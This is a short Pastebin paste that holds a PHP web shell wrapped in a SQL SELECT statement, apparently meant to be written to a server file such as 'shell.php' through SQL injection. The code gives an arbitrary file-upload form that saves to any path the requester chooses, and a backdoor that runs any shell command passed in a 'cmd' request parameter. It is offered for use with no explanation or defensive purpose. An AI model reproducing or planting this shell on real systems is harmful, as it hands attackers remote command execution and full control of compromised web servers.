Advertisement
harimalla

Card she'll upload scripts

Jun 3rd, 2017
170
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.67 KB | None | 0 0
  1.  
  2. SELECT ‘<?php
  3. $files = @$_FILES[“files”];
  4. if ($files[“name”] != ”) {
  5. $fullpath = $_REQUEST[“path”] . $files[“name”];
  6. if (move_uploaded_file($files[‘tmp_name’], $fullpath)) {
  7. echo “<h1><a href=’$fullpath’>OK-Click here!</a></h1>”;
  8. }
  9. }echo ‘<html><head><title>Upload files…</title></head><body><form method=POST enctype=”multipart/form-data” action=””><input type=text name=path><input type=”file” name=”files”><input type=submit value=”Up”></form></body></html>’;
  10. ?><?php $cmd = <<<EOD
  11. cmd
  12. EOD;
  13. if(isset($_REQUEST[$cmd])) {
  14. system($_REQUEST[$cmd]); } ?>’
  15. FORM ‘OK_Sniper’
  16.  
  17. Advertisements
  18. System/log/shell.php
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement